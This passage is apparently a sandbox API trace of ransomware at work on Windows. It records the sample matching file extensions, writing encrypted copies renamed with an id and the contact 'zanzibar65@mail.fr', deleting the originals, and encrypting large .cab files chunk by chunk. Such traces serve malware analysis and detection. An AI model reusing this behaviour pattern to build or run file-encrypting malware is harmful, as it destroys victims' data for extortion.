(lpString1=".xls", lpString2=".cab") returned 1 [0039.219] lstrlenW (lpString=".xlsx") returned 5 [0039.219] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0039.220] lstrlenW (lpString=".ppt") returned 4 [0039.220] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0039.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0039.220] lstrlenW (lpString=".zip") returned 4 [0039.220] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0039.220] lstrlenW (lpString=".rar") returned 4 [0039.220] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0039.220] lstrlenW (lpString=".bz2") returned 4 [0039.220] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0039.220] lstrlenW (lpString=".7z") returned 3 [0039.220] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0039.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0039.220] lstrlenW (lpString=".dbf") returned 4 [0039.220] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0039.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0039.220] lstrlenW (lpString=".1cd") returned 4 [0039.220] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0039.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0039.220] lstrlenW (lpString=".jpg") returned 4 [0039.220] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0039.220] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0039.220] lstrlenW (lpString="Proof.msi") returned 9 [0039.220] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0039.354] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=875520) returned 1 [0039.354] CloseHandle (hObject=0x170) returned 1 [0039.354] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0039.354] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.354] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0039.354] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.354] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.354] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0039.354] GetLastError () returned 0x0 [0039.354] ReadFile (in: hFile=0x170, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0039.377] WriteFile (in: hFile=0x1cc, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0039.657] ReadFile (in: hFile=0x170, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.657] WriteFile (in: hFile=0x1cc, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.657] SetEndOfFile (hFile=0x1cc) returned 1 [0039.657] CloseHandle (hObject=0x1cc) returned 1 [0039.664] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.664] SetEndOfFile (hFile=0x170) returned 1 [0039.671] CloseHandle (hObject=0x170) returned 1 [0039.671] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0039.671] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0039.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.671] lstrlenW (lpString=".doc") returned 4 [0039.671] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.671] lstrlenW (lpString=".docx") returned 5 [0039.671] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0039.671] lstrlenW (lpString=".pdf") returned 4 [0039.671] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.672] lstrlenW (lpString=".xls") returned 4 [0039.672] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.672] lstrlenW (lpString=".xlsx") returned 5 [0039.672] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0039.672] lstrlenW (lpString=".ppt") returned 4 [0039.672] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.672] lstrlenW (lpString=".zip") returned 4 [0039.672] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.672] lstrlenW (lpString=".rar") returned 4 [0039.672] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.672] lstrlenW (lpString=".bz2") returned 4 [0039.672] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.672] lstrlenW (lpString=".7z") returned 3 [0039.672] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.672] lstrlenW (lpString=".dbf") returned 4 [0039.672] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.672] lstrlenW (lpString=".1cd") returned 4 [0039.672] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.672] lstrlenW (lpString=".jpg") returned 4 [0039.672] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.672] lstrlenW (lpString=".doc") returned 4 [0039.672] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.672] lstrlenW (lpString=".docx") returned 5 [0039.672] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0039.672] lstrlenW (lpString=".pdf") returned 4 [0039.672] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.673] lstrlenW (lpString=".xls") returned 4 [0039.673] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.673] lstrlenW (lpString=".xlsx") returned 5 [0039.673] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0039.673] lstrlenW (lpString=".ppt") returned 4 [0039.673] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.673] lstrlenW (lpString=".zip") returned 4 [0039.673] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.673] lstrlenW (lpString=".rar") returned 4 [0039.673] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.673] lstrlenW (lpString=".bz2") returned 4 [0039.673] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.673] lstrlenW (lpString=".7z") returned 3 [0039.673] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.673] lstrlenW (lpString=".dbf") returned 4 [0039.673] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.673] lstrlenW (lpString=".1cd") returned 4 [0039.673] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.673] lstrlenW (lpString=".jpg") returned 4 [0039.673] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.673] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0039.673] lstrlenW (lpString="Proof.msi") returned 9 [0039.673] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0039.980] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=881152) returned 1 [0039.980] CloseHandle (hObject=0x1ec) returned 1 [0039.980] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0039.980] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.980] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0039.980] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.980] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0039.981] GetLastError () returned 0x0 [0039.981] ReadFile (in: hFile=0x1ec, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0039.999] WriteFile (in: hFile=0x1cc, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0040.436] ReadFile (in: hFile=0x1ec, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.436] WriteFile (in: hFile=0x1cc, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.436] SetEndOfFile (hFile=0x1cc) returned 1 [0040.436] CloseHandle (hObject=0x1cc) returned 1 [0040.443] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.443] SetEndOfFile (hFile=0x1ec) returned 1 [0040.450] CloseHandle (hObject=0x1ec) returned 1 [0040.450] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0040.451] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0040.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.451] lstrlenW (lpString=".doc") returned 4 [0040.451] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.451] lstrlenW (lpString=".docx") returned 5 [0040.451] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0040.451] lstrlenW (lpString=".pdf") returned 4 [0040.451] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.451] lstrlenW (lpString=".xls") returned 4 [0040.451] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.451] lstrlenW (lpString=".xlsx") returned 5 [0040.451] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0040.451] lstrlenW (lpString=".ppt") returned 4 [0040.451] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.451] lstrlenW (lpString=".zip") returned 4 [0040.451] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.451] lstrlenW (lpString=".rar") returned 4 [0040.451] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.451] lstrlenW (lpString=".bz2") returned 4 [0040.451] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.451] lstrlenW (lpString=".7z") returned 3 [0040.451] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.451] lstrlenW (lpString=".dbf") returned 4 [0040.451] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.452] lstrlenW (lpString=".1cd") returned 4 [0040.452] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.452] lstrlenW (lpString=".jpg") returned 4 [0040.452] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.452] lstrlenW (lpString=".doc") returned 4 [0040.452] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.452] lstrlenW (lpString=".docx") returned 5 [0040.452] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0040.452] lstrlenW (lpString=".pdf") returned 4 [0040.452] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.452] lstrlenW (lpString=".xls") returned 4 [0040.452] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.452] lstrlenW (lpString=".xlsx") returned 5 [0040.452] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0040.452] lstrlenW (lpString=".ppt") returned 4 [0040.452] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.452] lstrlenW (lpString=".zip") returned 4 [0040.452] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.452] lstrlenW (lpString=".rar") returned 4 [0040.452] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.452] lstrlenW (lpString=".bz2") returned 4 [0040.452] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.452] lstrlenW (lpString=".7z") returned 3 [0040.452] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.452] lstrlenW (lpString=".dbf") returned 4 [0040.452] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.453] lstrlenW (lpString=".1cd") returned 4 [0040.453] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.453] lstrlenW (lpString=".jpg") returned 4 [0040.453] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.453] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0040.453] lstrlenW (lpString="Proof.cab") returned 9 [0040.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0040.453] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=21064532) returned 1 [0040.453] CloseHandle (hObject=0x1ec) returned 1 [0040.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0040.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.453] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0040.899] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0040.899] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0x0) returned 1 [0040.900] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.900] ReadFile (in: hFile=0x1ec, lpBuffer=0x3930058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3930058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.017] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.017] ReadFile (in: hFile=0x1ec, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.221] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.222] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.222] ReadFile (in: hFile=0x1ec, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.238] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.238] WriteFile (in: hFile=0x1ec, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2d7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0041.253] SetEndOfFile (hFile=0x1ec) returned 1 [0041.253] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f9c2f0 [0041.611] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.611] WriteFile (in: hFile=0x1ec, lpBuffer=0x3f9c2f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9c2f0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.612] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.612] WriteFile (in: hFile=0x1ec, lpBuffer=0x3f9c2f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9c2f0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.613] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.613] WriteFile (in: hFile=0x1ec, lpBuffer=0x3f9c2f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9c2f0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.614] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f9c2f0 | out: hHeap=0x220000) returned 1 [0041.614] CloseHandle (hObject=0x1ec) returned 1 [0044.152] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0044.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.152] 